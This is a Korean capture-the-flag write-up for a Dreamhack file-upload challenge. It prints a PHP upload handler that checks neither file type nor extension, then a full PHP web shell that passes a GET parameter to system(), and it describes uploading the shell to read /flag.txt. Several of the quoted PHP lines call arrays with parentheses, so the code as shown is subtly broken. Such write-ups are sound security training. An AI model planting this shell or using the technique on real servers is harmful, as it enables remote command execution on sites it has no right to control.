(Dreamhack) 이미지 저장

플래그를 얻으려면 파일 업로드 취약점을 사용해야 합니다. 플래그는 /flag.txt 파일에 있습니다.

(Upload.php 코드)

<?php
  if ($_SERVER('REQUEST_METHOD') === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES("file");
      $error = $file("error");
      $name = $file("name");
      $tmp_name = $file("tmp_name");
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

PHP 파일은 3개인데 그 중 업로드만 보도록 하겠습니다.

이 코드에서 알 수 있는 것은 업로드할 파일 이름에 web shell을 넣을 수 있다는 것입니다!

웹 셸은 단순히 cmd 또는 Windows 파워 셸처럼 작동하는 셸이며 말에서 웹 페이지에 대한 명령을 실행할 수 있습니다.

웹 셸을 주입한 후 cat 명령으로 플래그를 가져와 파일의 내용을 덤프합니다!

먼저 웹쉘을 추가해 보겠습니다.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER('PHP_SELF'));?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
	if(isset($_GET('cmd')))
	{
		system($_GET('cmd'));
	}
?>
</pre>
</body>
</html>

이 파일을 업로드합시다.


확장자 주의!

이미 웹 셸을 업로드했는데 파일이 존재한다고 합니다.


상단바의 목록을 클릭하여 목록 페이지로 이동하시면 정상적으로 업로드 되었습니다!

업로드된 파일을 클릭하여 입력하고 아래 이미지와 같이 입력창에 cat 명령어를 입력하면 깃발 캡쳐 완료!